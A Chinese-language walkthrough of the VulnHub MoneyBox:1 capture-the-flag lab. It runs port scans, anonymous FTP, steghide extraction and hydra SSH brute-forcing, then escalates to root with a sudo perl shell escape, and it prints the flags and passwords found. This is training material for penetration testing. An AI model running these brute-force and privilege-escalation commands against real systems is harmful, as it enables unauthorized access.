一、靶场搭建
靶机下载:http://www.vulnhub.com/entry/moneybox-1,653/#download
靶机IP:192.168.21.26
攻击机:kali、windows10
注意:靶机密码直接在开机界面e键修改,具体方法自己上网找,进入后dhclient命令获取IP。
二、靶机目标
找到靶机内的三个flag值。
三、使用工具
端口扫描工具:nmap、fscan
目录扫描工具:dirsearch
暴力破解工具:hydra
图片解隐写工具:steghide
四、详细步骤
1.信息收集
1.1 端口扫描
已知信息只有IP地址——192.168.21.60,因此首先对该IP进行全端口扫描。
使用工具:nmap。
nmap -sS 192.168.21.26 -p 0-65535
扫描结果如下图:发现存在21(ftp)、22(ssh)、80(http)端口。
为了避免漏扫,这里使用了另一个工具再次对该ip进行全端口扫描。
使用工具:fscan。
fscan64.exe -h 192.168.21.26 -p 0-65535
扫描结果如下图:发现额外的25(SMTP)、110(POP3)端口,这两个端口用于邮件的发送、接收、下载;还发现ftp存在匿名用户登录。
1.2 探索21(ftp)端口
用匿名帐户登录ftp,密码为空。
ftp anonymous@192.168.21.26
查看当前所在目录以及目录下文件,这里做过其他尝试,想要切换到其他目录等发现permission denied(操作权限不够),因此这里只得到一个图片——trytofind.jpg。
pwd #查看当前所在目录
ls #查看当前目录下文件
下载该图片,该图片看似只是普通图片,信息不够继续收集。
get trytofind.jpg
1.3 探索80(http)端口
访问http://192.168.21.26,页面如下:
打开控制台查看页面源代码,一无所获,该网页上没有任何功能点。
1.4 敏感目录扫描
该页面上没有发现,就尝试扩大攻击面,扫描网站敏感目录。
使用工具:御剑。
扫描结果如下:
发现新的网页界面——http://192.168.21.26/blogs/
访问http://192.168.21.26/blogs/,根据页面提示,在该页面F12查看器下发现存在另一个目录S3cr3t-T3xt。
访问该目录http://192.168.21.26/S3cr3t-T3xt,在该页面查看器下发现一个密码3xtr4ctd4t4,暂时不知道用在哪里。
1.5 探索22(ssh)端口
尝试暴力破解root密码,未成功,很有可能root用户被禁止远程登录,或者密码为强密码。
使用工具:hydra。
hydra -l root -P a.txt -t 4 ssh://192.168.21.26
#-l 指定用户
#-P 注意是大写P,指定字典
#-t 指定线程
2.分析信息,漏洞验证
端口探索完毕,25和110端口用于邮件收发,不做进一步探测。
整合目前信息:得到一张图片——trytofind.jpg,以及未知用处的密码——3xtr4ctd4t4,根据文件名合理猜测该图片可能被隐写,而密码用于解隐写。
2.1 图片解隐写
使用工具:steghide。
steghide extract -sf trytofind.jpg
结果如下:得到一个文件data.txt。
查看文件内容:
cat data.txt
结果显示存在用户renu且密码是弱密码。
2.2 暴力破解
暴力破解renu的密码。
使用工具:hydra。
hydra -l renu -P a.txt -t 4 ssh://192.168.21.26
结果如下:renu用户密码是987654321。
3.远程登录ssh
3.1 第一个flag
ssh renu@192.168.21.26
立马查看当前所在路径和当前目录文件,找到第一个flag值。
us3r1{F14g:0ku74tbd3777y4}
查看renu用户历史命令
History
结果如下:发现另一个用户lily以及登录方法。
3.2 第二个flag
登录lily用户。
cd .ssh
ssh -i id_rsa lily@192.168.21.26
查看用户当前路径和文件,得到第二个flag值:
us3r{F14g:tr5827r5wu6nklao}
查看lily用户历史命令。
history
结果如下:发现root用户编辑过sudoers文件。
列出当前用户可执行的和不可执行的命令。
sudo -l
结果如下:发现lily用户可以root权限执行/usr/bin/perl命令。
4.perl提权
第三个flag
输入以下命令提权:
sudo perl -e 'exec "/bin/bash";'
已提升为root权限。
查看root目录和目录下文件,无果。
、
查看历史命令,发现.root.txt文件。
使用find命令查找该文件位置。
find / -type f -name '.root.txt'
结果如下,文件在/root目录下。
得到第三个flag值:
cat /root/.root.txt
r00t{H4ckth3p14n3t}